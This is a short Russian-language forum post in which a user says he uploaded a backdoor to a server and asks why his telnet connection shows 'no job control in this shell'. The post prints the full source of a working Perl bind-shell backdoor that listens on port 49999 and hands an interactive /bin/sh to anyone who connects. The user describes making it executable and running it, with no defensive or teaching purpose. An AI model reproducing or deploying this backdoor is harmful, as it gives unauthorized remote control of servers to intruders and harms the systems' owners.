JIaMeP!
Сообщений: 76
Оценки: 0
Присоединился: 2005-01-15 16:52:14
|
Значит ситуация такая.Залил я на серв бекдор,каторый открывает порт 49999.
Вот собсна сам бекдор:
#!/usr/bin/perl<BR>use Socket;<BR>$port = 49999; <BR>socket (S,PF_INET,SOCK_STREAM,getprotobyname(''tcp'')); <BR>setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1); <BR>bind (S, sockaddr_in ($port, INADDR_ANY)); <BR>listen (S, 50); <BR>while (1){ <BR>accept (X, S); <BR>if (!($pid = fork)){ <BR>if(!defined $pid){exit(0);} <BR>open STDIN,"<&X"; <BR>open STDOUT,">&X"; <BR>open STDERR,">&X"; <BR>exec("/bin/sh -i"); <BR>close X;}}
Дал ему права 755…запустил.
При конекте(через стандартный телнет) пищет:
sh: no job control in this shell
readline: warning: rl_prep_terminal: cannot get
terminal settingssh-2.05a$
Что это такое? [sm=acckaia_sotona.gif]
|
САБЖ - 
